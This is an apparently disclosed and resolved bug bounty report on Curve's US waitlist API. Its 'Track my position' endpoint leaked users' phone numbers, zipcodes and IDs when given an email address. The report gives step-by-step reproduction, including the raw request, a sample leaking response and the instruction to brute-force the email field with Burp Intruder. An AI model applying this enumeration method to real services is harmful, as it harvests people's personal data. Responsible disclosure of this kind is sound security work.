Sensitive Info Leak - An Attacker Can Retrieve All the Users Mobile Numbers at https://website-api.production.curve.app/api/waitlist/us

Disclosed: 2020-10-23 15:38:56 By praseudo7 To curve
Medium
Vulnerability Details
Hi, When am going through all the JS files in curve.com I found a link called "/usa" is used to create Curve USA Waitlists by entering your name, email address, mobile number and address details. {F874173} Then there is a functionality called "Track my Position" by using which joined users can view their position in the waiting lists. {F874174} Well, in UI the application only shows the position number but not any other sensitive details. {F874175} But by using the below reported endpoint an attacker can retrieve all the joined users mobile numbers and the other details by just entering the victims email address. Steps to Reproduce: ================= 1] Navigate to https://curve.com/usa and click on "Track my position" 2] Enter any email address and click on "Submit" 3] Make sure to intercept the request using Burp intercept 4] You'll be presented with the below vulnerable request Vulnerable Request: ================= ``` POST /api/waitlist/us HTTP/1.1 Host: website-api.production.curve.app Connection: close Content-Length: 30 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36 Content-Type: application/json;charset=UTF-8 Origin: https://www.curve.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.curve.com/credit?rc= Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 {"email":"[email protected]"} ``` 5] Now send the above vulnerable request to Burp intruder and brute force the email parameter 6] You'll now be able to retrieve all the waitlisted users mobile numbers, ID's, address and other sensitive information in the response. Response: ========= ``` HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 268 Connection: close access-control-allow-origin: * x-dns-prefetch-control: off x-frame-options: SAMEORIGIN strict-transport-security: max-age=15552000; includeSubDomains x-download-options: noopen x-content-type-options: nosniff x-xss-protection: 1; mode=block etag: W/"10c-Qj52/PIteKYG+1CbKaOCNpKyiDo" date: Fri, 19 Jun 2020 09:41:26 GMT x-envoy-upstream-service-time: 3 x-envoy-peer-metadata: Ch4KDElOU1RBTkNFX0lQUxIOGgwxMC4wLjE1Mi4yMDEK0AEKBkxBQkVMUxLFASrCAQoUCgNhcHASDRoLd2Vic2l0ZS1hcGkKIQoRcG9kLXRlbXBsYXRlLWhhc2gSDBoKN2Q5NzRmNTQ3NQokChlzZWN1cml0eS5pc3Rpby5pby90bHNNb2RlEgcaBWlzdGlvCjAKH3NlcnZpY2UuaXN0aW8uaW8vY2Fub25pY2FsLW5hbWUSDRoLd2Vic2l0ZS1hcGkKLwojc2VydmljZS5pc3Rpby5pby9jYW5vbmljYWwtcmV2aXNpb24SCBoGbGF0ZXN0ChoKB01FU0hfSUQSDxoNY2x1c3Rlci5sb2NhbAomCgROQU1FEh4aHHdlYnNpdGUtYXBpLTdkOTc0ZjU0NzUtZHRuZzgKGQoJTkFNRVNQQUNFEgwaCnByb2R1Y3Rpb24KUgoFT1dORVISSRpHa3ViZXJuZXRlczovL2FwaXMvYXBwcy92MS9uYW1lc3BhY2VzL3Byb2R1Y3Rpb24vZGVwbG95bWVudHMvd2Vic2l0ZS1hcGkKHwoPU0VSVklDRV9BQ0NPVU5UEgwaCnZhdWx0LWF1dGgKHgoNV09SS0xPQURfTkFNRRINGgt3ZWJzaXRlLWFwaQ== x-envoy-peer-metadata-id: sidecar~10.0.152.201~website-api-7d974f5475-dtng8.production~production.svc.cluster.local server: envoy X-Cache: Miss from cloudfront Via: 1.1 1671dd64160321b1f8979341944a5b14.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MAA50-C2 X-Amz-Cf-Id: kUgxzRYYQ9rJw0zP7oR4PnDz6Rz4bCc6r30M25JrfmOyzp_xuMEHyA== {"_id":"5eec6b1a958666b5141063e3","name":"Cxvvc","email":"[email protected]","phoneNumber":"7013899887","zipcode":"10001","position":4379,"referralCode":"BCeE8mzI","createdAt":"2020-06-19T07:36:58.460Z","updatedAt":"2020-06-19T07:36:58.460Z","__v":0,"status":"EXIST"} ``` Below is the video POC for better understanding: {F874205} ## Impact An attacker can retrieve all the joined users PII data (like mobile numbers, address, ID's, etc) by just entering the mail address at "Track my position" at https://curve.com/usa. Mitigation: ========= Make sure to remove sensitive response parameters which discloses users PII data. Regards, Praseudo
Actions
View on HackerOne
Report Stats
  • Report ID: 902733
  • State: Closed
  • Substate: resolved
  • Upvotes: 78
Share this report